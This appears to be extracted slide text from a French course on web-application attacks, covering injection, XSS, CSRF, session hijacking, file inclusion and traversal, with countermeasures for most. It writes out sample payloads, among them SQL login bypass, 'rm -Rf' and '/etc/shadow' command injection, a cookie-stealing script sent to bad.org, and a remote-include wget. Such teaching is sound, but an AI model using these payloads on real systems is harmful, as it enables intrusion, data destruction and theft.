  • 35. Webshell ?  Vulnérabilités dans les socles applicatifs (CMS).  Mauvais filtrages des entrées utilisateurs (injection SQL, XSS/CSRF)  Mauvais filtrage des extensions de fichiers pour les uploads  Inclusion de fichiers (File include).  Compromission d'une interface d'administration (Brute force,mot de passe banale).  Une fois le Shell est déployé, on peut exécuter de commandes systèmes, prise de contrôle totale.
  • 36. Webshell ?  Les attaques applicatives sont bien réelles: • Parfois facile à mettre en œuvre. • Outils existants (C99, R57 ...)  Les attaques ne proviennent pas toujours de l'extérieur: • Les serveurs web peuvent être atteints depuis l'interne • Les attaquants ne sont pas toujours ceux que l'on croit (MACARON)
  • 38. Terminologies essentielles Menace-Une action ou un événement qui pourrait compromettre la sécurité. Une menace est une violation potentielle de la sécurité Vulnérabilité - ou faille est l’existence une faiblesse dans un système informatique au niveau de la code source ou la conception, permettant à un attaquant de porter atteinte à l'intégrité de ce système Exploit –Un exploit est un programme qui permet d'exploiter une vulnérabilité de sécurité dans un système d'exploitation ou un logiciel, il est employé par les hackers afin de prendre le contrôle total ou partiel d'un ordinateur. Attaque - Un assaut sur la sécurité du système qui dérive d'une menace intelligente. Une attaque est une action qui viole la sécurité. Script kiddie - passent l'essentiel de leur temps à essayer d'infiltrer des systèmes, en utilisant des scripts ou programmes mis au point par d'autres.
  • 41. Injection L’injection •Envoyer à une application des données générant un comportement non attendu. Les Interpréteurs •Utilisent les chaines et les interpretent comme des commandes •SQL, OS Shell, LDAP, XPath, etc… L’injection SQL est toujours commune •Enormément d’applications y sont sensibles •Même s’il est très simple de s’en affranchir…. Impact •Souvent très sévère. Le plupart du temps l’ensemble des données de la base sont lisibles ou modifiables. •Cela peut même aller jusqu’au schéma de la base, les comptes ou un accès OS….
  • 42. SQL Injection  technique qui permet aux attaquants d’injecter des requêtes SQL directement sur la base de données qui se trouve derrière un serveur Web, en manipulant l’entrée « INPUT » à une application. Exemple : sur une page d’authentification « login.asp », l’utilisateur est amené à saisir un Nom d’utilisateur « User1 » et un mot de passe « pass2012 », cette opération se traduit sous forme d’un requête SQL : SELECT * FROM Utilisateur WHERE nom= ‘User1' and mot_passe=‘pass2012’
  • 43. SQL Injection Cette requête doit retourner à l’application un ou plusieurs champs à partir de la base de données. Supposons que l’utilisateur saisit la valeur du nom d’utilisateur la valeur « or 1=1-- » la requête sera sous la forme SELECT * FROM Utilisateur WHERE Utilisateur = or 1=1-- and mot_passe =''
  • 44. SQL Injection Dans le cas de SQL Server, « -- » est utilisé pour mettre un commentaire jusqu’à la fin de la ligne, la requête serait alors SELECT * FROM Utilisateur WHERE username= or 1=1 Cette requête recherche dans la base de données les champs dont le nom d’utilisateur est vide en réponse à la condition. La requête va retourner tous les champs de la table utilisateur et l’attaquant serait authentifié. L’attaquant a réussi ainsi à s’authentifier sans avoir pour autant utilisé de nom d’utilisateur ni de mot de passe.
  • 45. SQL Injection Exemple User: ‘ or 1=1 # Pass: connection.php Admin.php Etc… DB
  • 47. SQL INJECTION – Comment se protéger  Recommandations 1. Se passer des interpréteurs, 2. Utiliser une interface permettant de préparer les requêtes (ex, prepared statements, or les procédures stockées), 3. Encoder toutes les données fournies par l’utilisateur avant de les passer à l’interpréteur  Toujours effectuer une validation de type “white liste” sur les données utilisateurs.  Minimiser les privilèges dans les bases pour limiter l’impact de la faille.
  • 48. SQL INJECTION – Comment se protéger Solution: Il est très simple d’éviter l’SQL injection durant la phase de développement de l’application. Il est nécessaire de vérifier tous les champs INPUT qui seront saisis par l’utilisateur avant de construire la requête SQL. La meilleur technique est de supprimer tous les INPUT indésirables et de n’accepter que celles qui sont prévu. Cette opération de vérification est plus effective lorsqu’elle se fait côté serveur. L’autre méthode est d’éviter l’usage de requêtes dynamiques et ce en remplaçant les requêtes par des procédures déjà stockées ou bien par la collecte de variables à partir d’une base de données. Il y a des fonctions implémentée selon le langage de programmation : - Bin_param() – Perl - CreateParameter() – ASP (ADO Command Objects ) - mysql_stmt_bin_param() – PHP - CallableStatements et PreparedStatements -- JAVA
  • 49. SQL INJECTION – Comment se protéger  Solution: Les procédures stockées Les procédures stockées permettent d’éviter l’SQL Injection parce que les INPUT du côté client ne sont plus utilisées pour créer des requêtes dynamiques. Les procédures stockées sont des groupes précompilés de requêtes SQL, cette procédure accepte les INPUT sous forme de paramètres ce qui permet d’éviter la construction de requêtes dynamiques.
  • 50. SQL INJECTION – Comment se protéger Solution: La vérification des INPUT par des JavaScript Ce procédé ne permet pas à l’attaquant d’entrer des données malicieuses directement dans le champs INPUT mais ce n’est pas suffisant pour éviter l’SQL Injection. Le script côté client ne vérifie que les INPUT côté navigateur ce qui ne garantit pas que les données prescrites ne seront pas modifiées au cours du chemin vers le serveur. Il y a des outils qui permettent de capturer les requêtes et de les changer avant de les envoyer au serveur, l’attaquant peut aussi injecter des instructions dans les variables de la requête, et ceci ne peut pas être vérifié par le script côté client.
  • 51. SQL INJECTION – Comment se protéger Solution: Les servlets Java Les servlets sont vulnérables si les champs INPUT ne sont pas vérifiés et si la requête est construite dynamiquement. Mais les servlets Java ont certains mécanismes pour prévenir l’SQL Injection comme CallableStatements et PreparedStatements. C’est comme les procédures stockées elles permettent d’éviter les requêtes dynamiques. Try { Connection conn = DriverManager.getConnection("connect string"); String command_sql = "INSERT INTO tablesname VALUES(?, ?,?)"; PreparedStatement ps = conn.prepareStatement(command_sql); ps.setString(nom, s1); ps.setString(prenom, s2); ps.setInt(age, s3); ps.executeUpdate(); …
  • 52. Command Injection L'attaque injection de commandes consiste : - A injecter et exécuter des commandes spécifiées par l'attaquant dans l'application vulnérable. - Toutefois, les commandes sont exécutées sur le serveur cible et l’ attaquant ayant un accès partiel ou totale sur tout le serveur d’hébergement. - - l'attaquant peut ajouter son propre code pour le code existant pour prolonge la fonctionnalité par défaut de l'application sans la nécessité d'exécuter des commandes système.
  • 53. 44 Command Injection listing.php 1 <?php echo system("ls -1 *.".$_GET['ext']); ?> /listing.php?ext=php;cd/;rm+-Rf+* 2 ls -1 *. php;cd/;rm+-Rf+* 3 cnx.php index.php connectBase.php listing.php 4 / 5
  • 54. Command Injection Example Language: Java ... String ping= request.getParameter ("cmd"); java.lang.Runtime.getRuntime().exec(ping); ... Un attaquant d'exécuter des commandes arbitraires avec des privilèges élevés à travers l'application en injectant par exemple dans l’entrée ping une code arbitraire par exemple « 10.10.10.10|cat /etc/shadow » pour afficher tous les mots des passes des utilisateurs systéme en MD5.
  • 55. Injection OS Attaquant Site web L'attaquant envoie une requête malveillante contenant OScommand Exécute OS command Falsification Des fichiers Virus Information Leak Application vulnérable au injection de commande OS Opération Non autorisé Autres
  • 56. Injection OS Injection OS: Technique utilisée pour exploiter les sites Web en exécutant des commandes du système d'exploitation par le biais de la manipulation de la demande d'entrée. Exemple: URL d’origine http://example /cgibin/showInfo.pl?name=John&template=temp1.txt OS Command http://example /cgibin/showInfo.pl?name=John&template=/bin/ls|
  • 57. Injection OS Patterns vulnérables pour injection OS: Pour définir les vulnérabilités d’injection de commande système travers une application, il faut définir la relation entre le code source d’une application et le système d'exploitation. L'application utilisant les fonctions du système d'exploitation sous-jacent. En Java en utilisant l'objet d'exécution: java.lang.Runtime. En NET :System.Diagnostics.Process.Start sont utilisés pour appeler des commandes OS. En PHP on peut chercher des appels tels que exec () ou passthru () et c….
  • 58. Injection OS Les menaces possible:  Voir, falsifier ou supprimer des fichiers stockés sur le serveur • Divulgation d'informations sensibles, la falsification des fichiers de configuration..  Manipuler le système • Arrêt OS, ajouter /supprimer des comptes utilisateurs  Télécharger et exécuter des programmes malveillants • Infection virale, ver et bot, implémentation de backdor  Rendre le système de point de départ pour attaquer d'autres • Déni de service, spamming,…
  • 59. Injection OS Solution:  Évitez d'utiliser des fonctions qui pourraient appeler des commandes shell.  Lorsque vous utilisez des fonctions qui pourraient appeler des commandes shell, vérifiez toutes les paramètres d’entrées que ne contenant pas des commandes système.
  • 60. XPath Injection XPath Injection: XPath: langage utilisé pour traiter des fichiers XML. XPath injection: Technique d’attaque utilisée pour exploiter des sites Web qui construisent des requêtes XPath à partir des entrées fourni par l'utilisateur. Exemple: Même principe que du SQL Injection.
  • 61. XPath Injection Exemple: <?xml version="1.0" encoding="utf-8"?> <Employees> <Employee ID="1"> <FirstName>ALI</FirstName> <LastName>saleh</LastName> <UserName>ALI</UserName> <Password>AliSecret</Password> <Type>Admin</Type> </Employee> <Employee ID="2"> <FirstName>MED</FirstName> <LastName>Salem</LastName> <UserName>med</UserName> <Password>MedSecret</Password> <Type>User</Type> </Employee> </Employees>
  • 62. XPath Injection Exemple: VB: Dim FindUserXPath as String FindUserXPath = "//Employee[UserName/text()='" & Request("Username") & "' And Password/text()='" & Request("Password") & "']" C#: String FindUserXPath; FindUserXPath = "//Employee[UserName/text()='" + Request("Username") + "' And Password/text()='" + Request("Password") + "']";
  • 63. XPath Injection Exemple: Username: blah' or 1=1 or 'a'='a Password: blah //Employee[UserName/text()='blah' or 1=1 or 'a'='a' And Password/text()='blah'] Logically this is equivalent to: //Employee[(UserName/text()='blah' or 1=1) or ('a'='a' And Password/text()='blah')]
  • 65. Cross site scripting(XSS)  Cette technique consiste a injecté du java script, VB, ActiveX, par le bais du navigateur de l’utilisateur dans le but d’accéder a des informations, des cookies, configuration …  L'attaque XSS touche principalement l'utilisateur, et permet même dans certaines cas d'exécuter des commandes aléatoires sur la machine.  Il n'y a pas de moyen de protection efficace côté client que de désactiver l'exécution des scripts java, ActiveX ce qui gêne vraiment la navigation.
  • 66. Cross site scripting(XSS)  Ces données sont peuvent être:  Stockées en base,  Réfléchies depuis une entrée d’une page Web (champ de formulaire, champ caché, URL, …).  Envoyées directement à un client Riche (Javascript, Flash, …)  Virtuellement toute application Web est vulnérable  Essayez cela dans votre navigateur • • javascript:alert(‘’XSS’’); javascript:alert(document.cookie);  Impact:  Vol des sessions utilisateur, de données sensibles…,  redirection vers un site d’hameconnage ou autre code malveillant.
  • 67. Cross site scripting(XSS) Scénario classique Moteur de recherche Tunis Aucune page ne correspond à : Tunis Chercher
  • 68. Cross site scripting(XSS) Scénario classique Moteur de recherche <script>alert(“Test")</script>"> Chercher
  • 69. Cross site scripting(XSS) Annonce: Email : Envoyer Attaquant <script>document.location=‘’http://www. attaque.com/virus.exe</script> Internet attaquant@xxxxx.com Annuler
  • 71. Cross site scripting(XSS) 1.EXEMPLE XSS nom Smith<script>alert(document.cookie)</script> mail john.smith@bad.org Bonjour Smith
  • 72. 29 Cross site scripting(XSS) 1.Exemple XSS  Attaque stockée sur le serveur web  XSS envoyé par le pirate Smith <script src=http://bad.org/c.js> </script> XSS Application Web nom Smith<script src=http://bad.org/c.js></script> mail john.smith@bad.org XSS SGBD
  • 73. 30 Cross site scripting(XSS) 1.Exemple XSS  Attaque stockée sur le serveur web  XSS envoyé par le pirate  l’accès à une ressource provoque l’exécution du XSS admin. 1 GET liste_inscrits.php Application Web XSS Smith <script src=http://bad.org/c.js></script> Smith <script src=http://bad.org/c.js> </script> 2 XSS SGBD
  • 74. 31 Cross site scripting(XSS) 1.Exemple XSS  Attaque stockée sur le serveur web  XSS envoyé par le pirate  l’accès à une ressource provoque l’exécution du XSS admin. 1 GET liste_inscrits.php 3 Smith <script src=http://bad.org/c.js> </script> Application Web XSS XSS SGBD 2 Smith <script src=http://bad.org/c.js></script> GET http://bad.org/c.js bad.org
  • 75. 32 Cross site scripting(XSS) 1.Exemple XSS  Attaque stockée sur le serveur web  XSS envoyé par le pirate  l’accès à une ressource provoque l’exécution du XSS Smith <script src=http://bad.org/c.js> </script> admin. 1 GET liste_inscrits.php 3 Application Web XSS SGBD 2 XSS GET http://bad.org/c.js 4 document.write(‘<img src=http://bad.org/c.php?’+document.cookie+’ width=1>’) c.js bad.org
  • 76. 33 Cross site scripting(XSS) 1.Exemple XSS  Attaque stockée sur le serveur web  XSS envoyé par le pirate  l’accès à une ressource provoque l’exécution du XSS Smith <script src=http://bad.org/c.js> </script> admin. 1 GET liste_inscrits.php 5 3 Application Web XSS SGBD 2 XSS GET http://bad.org/c.js 4 document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>') GET http://bad.org/c.php?idsess=a2345effb9ccd78 c.js bad.org
  • 77. 34  Cross site scripting(XSS) 1.Exemple XSS Attaque stockée sur le serveur web  XSS envoyé par le pirate  l’accès à une ressource provoque l’exécution du XSS Smith <script src=http://bad.org/c.js> </script> admin. 1 GET liste_inscrits.php 5 3 Application Web XSS SGBD 2 XSS vol de session 6 idsess=a2345effb9ccd78 GET http://bad.org/c.js 4 document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>') GET http://bad.org/c.php?idsess=a2345effb9ccd78 c.js bad.org
  • 78. 35 Cross site scripting(XSS) 2. Exemple XSS  Attaque réfléchie  1 Pirate place un XSS (mail, lien dans page web) XSS 2 XSS 1
  • 79. 36 Cross site scripting(XSS) 2.Exemple XSS Attaque réfléchie    1 Pirate place un XSS (mail, lien dans page web) Internaute : envoie le XSS au serveur (clic sur un lien dans mail/page, téléchargement automatique d une ressource) XSS XSS XSS 2 XSS 1 2 3 3
  • 80. 37 Cross site scripting(XSS) 2. Exemple XSS  Attaque réfléchie  Pirate place un XSS (mail, lien dans page web)  Internaute : envoie le XSS au serveur (clic sur un lien dans mail/page, téléchargement automatique d une ressource)  1 XSS Serveur web : reçoit et retourne le XSS XSS XSS 4 2 4 XSS 1 2 3 XSS 3 XSS
  • 81. 38 Cross site scripting(XSS) 2. Exemple XSS  Attaque réfléchie  Pirate place un XSS (mail, lien dans page web)  Internaute : envoie le XSS au serveur (clic sur un lien dans mail/page, téléchargement automatique d une ressource)   1 XSS Serveur web : reçoit et retourne le XSS Navigateur : exécute le XSS XSS XSS 4 2 4 XSS 1 2 3 XSS 3 XSS
  • 82. Cross site scripting(XSS)  Cross Site Tracing (XST) Un attaquant peut contourner l’attribut « HTTP Only cookies» pour voler les informations contenus dans les cookies via le Cross Site tracing (XST). TRACE est une méthode HTTP qui peut être envoyée au serveur. Le serveur renvoie au navigateur du client tout ce qu’il y avait dans la requête TRACE. Dans un site utilisant les cookies, l’information du cookie est envoyée au serveur à chaque requête, si on envoie une requête TRACE dans une URL pour un site pareil, le serveur va renvoyer toutes les informations du cookie vers le navigateur.
  • 83. Cross site scripting(XSS) Scénario (XST): Dans une situation similaire au cas décrit pour l’XSS, mais dans ce cas le « HTTP Only cookies » est activé. L’attaquant construit un lien qui contient un script qui fait appel à la méthode TRACE, quand un utilisateur clique sur le lien, une requête TRACE avec les informations du cookies sont envoyés au serveur. Le serveur renvoie ainsi les informations du cookie au script dans le navigateur; supposant que ce script contient du code malicieux qui envoie ces informations à l’attaquant. Ainsi l’attaquant a réussi à voler les cookies quoique le « HTTP Only Cookies » soit activé. Le « HTTP Only cookies » permet d’éviter l’accès direct aux cookies par les attaquants mais ces derniers sont aussi capables de le chercher à travers des méthodes indirectes. L’XST peut être évité en désactivant la méthode TRACE sur le serveur Web.
  • 84. XSS– Contre mesures  Recommandations  Supprimer la faille  • Ne pas inclure de contenu fourni par l’utilisateur dans la page de sortie !!!  Défenses possibles 1. Encoder toutes les entrées et sorties utilisateurs 2. Effectuer de la validation de type « white liste » pour les données utilisateurs entrantes qui sont inclues dans une page. 3. Pour des grosses portions de code HTML fourni par un utilisateur, utiliser le filtre OWASP Anti-Sammy de manière à nettoyer l’HTML (AntiSamy)
  • 85. XSS– Contre mesures Solution:  L’XSS peut être évité dès la phase de développement de l’application. Il devrait valider tous les INPUT et les OUTPUT vers (et en provenance de) l’application, éliminer tous les caractères spéciaux pourrant être utilisés dans un script.  L’XSS peut être évité si l’application remplace les caractères spéciaux par ceux inscrit ci-dessous avant de les afficher sur le navigateur : < &lt; > &gt; ( &#40; ) &#41; # &#35; & &#38;  Il y a des fonctions déjà disponibles suivant le langage utilisé  HtmlEncode() – ASP  Htmlentities() – PHP  Taglibs ou la classe javax.swing.text.html – J2EE  escapeHTML() – Perl
  • 86. XSS– Contre mesures Solution: Une autre méthode permet de prévenir l’XSS avec moins de codage comparé à la méthode de validation des INPUT et des OUTPUT, en effet, Internet Explorer 6 possède l’attribut « HTTP Only Cookies» qui peut être activer pour les cookies. L’utilisation de cet attribut rend les cookies inaccessibles par n’importe quel scripts.
  • 87. Cross Site Request Forgery (CSRF) • C’est une attaque ou le navigateur de la victime génère une requête vers une application Web vulnérable • Cette vulnérabilité est causée par la capacité que les navigateurs ont d’ envoyer automatiquement des données d’authentification (session ID, IP adresse, comptes de domaine windows, ..) dans chaque requête. Imaginez • Que se passerait-il si un attaquant pouvait utiliser votre souris pour effectuer des clicks sur votre site de banque en ligne a votre place. • Que pourrait-il faire ? Impact • Initiation de transactions (transfert de fonds, logoff, modification de données, …) • Accès à des données sensibles • Changement des mots de passes/identifiants
  • 88. CSRF Exploite la confiance qu’un site a en un utilisateur  Cible de l’attaque = site web  But : modifications sur le site  Méthodes d’attaque :  principalement GET (attaque dans l’URL)  POST 
  • 89. 53 Ajouter un commentaire … <img src='article.php?id=3&action=del' width='0'> … 1 membre d’un site protégé <img src='article.php?id=3&action=del' width='0'> SGBD
  • 90. 54 Ajouter un commentaire … <img src='article.php?id=3&action=del' width='0'> … SGBD 1 membre d’un site protégé 2 <img src='article.php?id=3&action=del' width='0'> GET article.php?id=3&action=read membre d’un site protégé
  • 91. 55 Ajouter un commentaire … <img src='article.php?id=3&action=del' width='0'> … <img src='article.php?id=3&action=del' width='0'> SGBD 1 membre d’un site protégé 2 3 GET article.php?id=3&action=read membre d’un site protégé <img src='article.php?id=3&action=del' width='0'>
  • 92. 56 Ajouter un commentaire … <img src='article.php?id=3&action=del' width='0'> … <img src='article.php?id=3&action=del' width='0'> SGBD 1 membre d’un site protégé 2 GET article.php?id=3&action=read membre d’un site protégé 4 3 <img src='article.php?id=3&action=del' width='0'> GET http://.../article.php?id=3&action=del
  • 94. Mauvaise gestion des sessions et de l’authentification HTTP est un protocole sans état •Les identifiants doivent donc être passés à chaque requête. •Il faut utiliser SSL pour toute authentification Failles dans la gestion de l’authentification •Des ID de sessions sont utilisés pour maintenir la session dans HTTP car il ne le peut lui. •Cela suffit à un attaquant, c’est aussi interessant qu’un identifiant •Les ID de sessions sont souvent exposés dans les sessions réseau, dans les browsers (cookies), dans les logs, …. Attention aux portes dérobées… •Changement de mot de passe, se souvenir de mon passe, oubli de mot de passe, questions secretes, logout, email, … Impact •Vol de session ou compromission de comptes utilisateur
  • 95. www.boi.com?JSESSIONID=9FA1DB9EA... Le site récrit l’URL (i.e., mise dans l’URL de l’ID de session) 3 5 Communication Knowledge Mgmt E-Commerce Bus. Functions Utilisateur envoie ses identifiants Accounts Finance 1 Administration Transactions Illustration d’une mauvaise authentification Custom Code 2 L’utilisateur clique sur un lien vers http://www.hacker.com dans un forum L’attaquant regarde les logs “Referer” sur www.hacker.com Et découvre le JSESSIONID L’attaquant peut utiliser le JSESSIONID sur le site boi.com pour son méfait 4
  • 96. Contre Mesure  Vérifier l’architecture !  L’authentification doit être simple, centralisée et standardisée  Utiliser le mécanisme standard de gestion des cookies du framework (ils sont globalement fiables)  Utiliser constamment SSL pour protéger les identifiants de connexion et de sessions  Vérifier l’implémentation  Oublier l’analyse automatique  Vérifier le certificat SSL (SSLv2, renégociation, chiffrement faible, …)  Examiner toutes les fonctions relatives a l’authentification  Vérifier que la déconnexion supprime bien la session !
  • 97. Vol de session 1. Envoi de nombreux e-mail aux clients L'attaquant forge un e-mail trompeur et l'envoie massivement à toutes les adresses e-mail des clients. 2. Certains utilisateurs ouvrent l' e-mail et cliquent sur le lien Certains utilisateurs déjà connectés sur l'application ouvrent le message et visitent le site. Leurs navigateurs répercutent la requête XSS vers le serveur Client. 3. Le serveur renvoie la page contenant le javascript malicieux. 4. Les navigateurs renvoient les cookies de session au pirate. 5. Le pirate récupère les cookies et ouvrent les sessions. -Le serveur doit être vulnérable au Cross Site Scripting ; - Le pirate connaît l' e-mail d'un utilisateur connecté au site affecté par la vulnérabilité ; - L'utilisateur accepte d'ouvrir un e-mail ou de visiter un lien URL reçu par e-mail.
  • 98. 58 Détournement de session  Session repose sur un identifiant unique 1 login=zorro&passwd=paszorro sessid=21000 3 sessid=21000 Bonjour Zorro article=12&action=sel 2
  • 99. 59 Détournement de session Session repose sur un identifiant unique  Détourner une session = fournir un id valide  1 login=zorro&passwd=paszorro sessid=21000 3 sessid=21000 sessid=21000 Bonjour Zorro 2 article=12&action=voir article=5&action=supprimer
  • 100. Détournement de session 60 Session repose sur un identifiant unique  Détourner une session = fournir un id valide  Identifiant transmis par :  Cookie  URL (query string)   Champ caché de formulaire
  • 101. Détournement de session 61 Session repose sur un identifiant unique  Détourner une session = fournir un id valide  Identifiant transmis par cookie, URL, champ form.  Attaques pour obtenir un identifiant valide   Prédiction id = nombre entier incrémenté
  • 102. Détournement de session Session repose sur un identifiant unique  Détourner une session = fournir un id valide  Identifiant transmis par cookie, URL, champ form.  Attaques pour obtenir un identifiant valide  Prédiction  Vol o id dans l’URL (historique, bookmark, logs, envoi par mail, …) o vol de cookie (XSS, ordinateur public)  o o interception (écoute réseau) consultation des fichiers de session sur le serveur
  • 104. Brute force Brute Force: Processus automatisé "d'essai et d'erreur" utilisé pour deviner le login d'une personne, son mot de passe, le numéros de carte de crédit, ou une clé cryptographique. Normal: Login 2 types: Renversé: Login 1 N N 1 Mot de passe Mot de passe Exemple: Username = Jon Passwords = smith, michael-jordan, [pet names], [birthdays], [car names], …. Usernames = Jon, Dan, Ed, Sara, Barbara, ….. Password = 12345678
  • 105. Insufficient Authentification Insufficient Authentification: C’est le fait de permettre à un attaquant d'accéder à des contenues ou des fonctionnalités critiques sans pour autant être authentifié. Ceci est dû au fait que certaines ressources sont protégées juste en "cachant" leur emplacement et de ne pas les lier à aucune page du site web, cette approche pour la sécurité est dite “Security Through Obscurity”. Exemple: Beaucoup d'applications Web ont été conçus avec des fonctionnalités d’administration à distance, des fonctionnalités se trouvant hors du répertoire racine (/ admin /). Généralement, ce répertoire n’est pas liés à aucune des pages du site. Par contre, cet emplacement reste accessible en utilisant le navigateur.
  • 106. Insufficient Authorization Insufficient Authorization: Ceci arrive lorsqu'un site web permet à un attaquant d'accéder à des contenues critiques ou des fonctionnalités sans pour autant avoir les autorisations nécessaires. Exemple: Même exemple pour /admin/ mais authentifier. cette fois après s’être
  • 107. L’escalade de privilège     L’escalade de privilège est une technique qui permet d’exploiter un bug où une erreur de configuration dans une application pour accéder à des ressources protéger. Cette technique permet de dépasser les droits légitimes en usurpant l'identité d'une application ayant des droits supérieurs. Réalisation:  Exploitation des bugs  Maintenir l'accès Conséquences:  Accès à des ressources systèmes.  Usurpation d'identité.  Mise en place d'une porte dérobée
  • 108. L’escalade de privilège Le privilèges escalation: ce la possibilité pour qu’un utilsateur modifier ses privilèges ou rôles dans l’application, généralement l’objectif est d’obtenir les droits de l’administrateur de l’application. Deux types d’escalades des priviléges:  Vertical escalation: Obtenir plus de privilèges(Rôle administrateur). • L’utilisateur A a accès à son compte en banque dans une application web via internet. • La vulnérabilité se produit lorsque l'utilisateur A accède au compte administrateur d’application web en effectuant une sorte d'activité malveillante.  Horizontal escalation: Effectuer des actions ou d’accéder aux ressources sur des comptes d’autres utilisateurs. • L’utilisateur A a accès à son compte en banque dans une application web via internet. L'utilisateur B a accès à son compte en banque dans la même application. • La vulnérabilité se produit lorsque l'utilisateur A accède au compte bancaire de l'utilisateur B en effectuant une sorte d'activité malveillante.
  • 109. Référence directe non sécurisée à un objet Comment accéder aux données privées • C’est une manière de renforcer les habilitations en lien avec Mauvaise restriction d’accès à une URL Des erreurs classiques • Attendre uniquement de l’utilisateur des accès à des objets autorisés ou • Cacher des références à des objets dans des champs cachés • … et ne pas renforcer les restrictions coté serveur. • Ceci n’est qu’une tentative de contrôle d’accès sur la présentation et ne fonctionne pas ! • Un attaquant n’a qu’a modifier les valeurs des paramètres… Impact • Un utilisateur a accès à des données ou des fichiers normalement interdits
  • 110. Référence directe non sécurisée à un objet illustrée https://www.onlinebank.com/user?acct= 6065  L’attaquant note le paramètre acct = 6065 ?acct=6065  Il modifie celui-ci de la manière suivante ?acct=6066  L’attaquant visualise un autre compte.
  • 111. Référence directe non sécurisée à un objet illustrée Mauvaise restriction d’URL illustrée https://www.onlinebank.com/user/getAccounts https://www.onlinebank.com/user/getAccounts  L’attaquant note dans l’URL que le rôle est affiché /user/getAccounts  Il modifie directement l’URL (le rôle) /admin/getAccounts, ou /manager/getAccounts  L’attaquant dispose de privilèges supplémentaires
  • 112. Référence directe non sécurisée à un objet illustrée Mauvaise restriction d’URL illustrée https://www.onlinebank.com/user/getAccounts https://www.onlinebank.com/user/getAccounts  L’attaquant note dans l’URL que le rôle est affiché /user/getAccounts  Il modifie directement l’URL (le rôle) /admin/getAccounts, ou /manager/getAccounts  L’attaquant dispose de privilèges supplémentaires
  • 113. La manipulation des fichiers
  • 114. Directory indexing Directory indexing: Listage/Indexation automatique d’un répertoire est une fonction de serveur web qui liste tous les fichiers dans un répertoire demandé si le fichier de base (index.html / home.html / default.htm) n'est pas présent. De ce fait, des informations critiques peuvent être obtenues. Exemple: Présence de fichiers .bak .old et même des .conf .config
  • 115. Remote File Include  La technique du file include permet d’exécuter du code dynamique héberger sur un serveur distante sur le serveur cible,  L’utilisation d’un include() revient à faire un simple copié-collé : le code du fichier appelé est inséré à l’intérieur de la page appelante, à l’endroit exact où se trouve la fonction.  Cette attaque est née suite au mauvais appel des paramètres par la fonction include().
  • 116. listing.php 1 <?php echo system("ls -1 *.".$_GET['ext']); ?> /listing.php?ext=php;cd/;rm+-Rf+* 2 ls -1 *. php;cd/;rm+-Rf+* 3 cnx.php index.php connectBase.php listing.php 4 / 5
  • 118. 46 Injection du caractère null 0 test.php?p=http://bad.org/bad.txt%00 1 <?php require($_GET['p'].".php"); ?> test.php
  • 120. 48 bad.txt bad.org <?php echo system('cd /tmp; ls; wget http://bad.org/exec; ls'); ?> 3 GET bad.txt 2 test.php?p=http://bad.org/bad.txt%00 1 <?php require($_GET['p'].".php"); ?> test.php <?php echo system('cd /tmp; ls; wget http://bad.org/exec; ls'); ?>
  • 121. 49 bad.txt bad.org <?php echo system('cd /tmp; ls; wget http://bad.org/exec; ls'); ?> 3 GET bad.txt 2 test.php?p=http://bad.org/bad.txt%00 1 4 cd /tmp; ls <?php require($_GET['p'].".php"); ?> test.php <?php /tmp echo system('cd /tmp; ls; wget http://bad.org/exec; ls'); ?>
  • 122. 50 bad.txt bad.org <?php echo system('cd /tmp; ls; wget http://bad.org/exec; ls'); ?> 5 3 exec GET bad.txt 2 test.php?p=http://bad.org/bad.txt%00 1 4 wget http://bad.org/exec <?php require($_GET['p'].".php"); ?> test.php <?php /tmp echo system('cd /tmp; ls; wget http://bad.org/exec; ls'); ?>
  • 123. Remote File Include  Exemple de code vulnérable: <?php Un appel du type : GET # def des constantes /index.php?file= ‘code_hostile.txt’ aura comme conséquence d’exécuter du $file = "toto.php"; code PHP arbitraire sur le serveur. #pour avoir un register global if (isset($HTTP_GET_VARS)) { while(list($var,$val)=each($HTTP_GET_VARS)) { $$var=$val;}} #include de la lib toto.php include ($file); ?>
  • 124. Remote File Include File include: •L’inclusion de fichier à distance. •L’exécution à distance des fichiers source (PHP,JSP,ASP, …) sur votre serveur web WEBSHELL Installer sur le serveur: Contrôle totale, Exécution des commandes système à distance. Insertion de fichier( La faille include ): <?php if(isset($_GET['page'])) {include $_GET['page'].'.php';} else {include 'accueil.php';} ?> http://www.monsite.com/index.php?page=http://www.pirate.com/moncode
  • 126. Directory traversal Directory traversal : • Le directory traversal n'est pas réellement une faille spéciale mais une technique de navigation qui peut souvent être exploitée. •En fait, on se sert des liens symboliques signifient respectivement "le dossier où je me trouve" et "le dossier parent de celui où je me trouve". • •Le but est d'écrire des URLs utilisant cette technique de navigation et ainsi accéder à du contenu inaccessible . http://www.monsite.com/ ../../../../../etc/passwd
  • 127. Remote file upload Remote File Upload: • Généralement le site ayant de page pour uploader des images, CVs, articles, etc … •Absence ou insuffisance de contrôle sur les types des fichiers à uploader. •Le pirate essayer d’uploader des fichiers sources (PHP,JSP,ASP,etc..) pour permettre de contrôler le serveur web à distance.  La Remote File upload est une porte qui permet à un pirate d’introduire sur le serveur web: -accès totale. -voire le système d’information interne. -vol des informations critiques (Passwords, portes feuilles clients, etc..)
  • 128. Manipulation des fichiers – Contre mesures  Recommandations  Empêcher le parcours des pages situés en dessous de la racine du site web (mécanisme de chroot) ;  Désactiver l'affichage des fichiers présents dans un répertoire ne contenant pas de fichier d'index (« Directory Browsing ») ;  Supprimer les répertoires et fichiers inutiles (dont les fichiers cachés) ;  S'assurer que le serveur protège l'accès des répertoires contenant des données sensibles ;  S'assurer que le serveur interprète correctement les pages dynamiques, y compris les fichiers de sauvegarde (.bak) ;
  • 130. Denie de service Denial of Service Attaque avec l'intention d'empêcher un site Web à servir les activités normaux des utilisateur. Les attaques DoS, qui sont normalement facilement appliquée à la couche réseau, sont également possibles à la couche application. Ces attaques malveillantes essayent d’épouser les ressources essentielles d'un système, d’exploiter des vulnérabilités, ou de s’abuser des fonctionnalités d’un système. Exemple: Utilisation de SQL injection pour effacer le contenu de la base de donnée d’un site.
  • 131. Abus de fonctionnalité Abuse of functionality: Elle se sert des propres caractéristiques et fonctionnalités d'un site web pour consommer, frauder, ou contourner les mécanismes de contrôle d’accès. Certaines fonctionnalités d'un site Web peuvent être abusées, même des fonctions de sécurité, de façon à provoquer un comportement inattendu. Exemple: Un attaquant crée simplement une URL qui a fourni les paramètres e-mail souhaitée et effectuer une HTTP GET à la CGI, telles que: http://example/cgibin/FormMail.pl?destinataire=email.victime@victim.example &message=vous%20avez%20été%20spammé
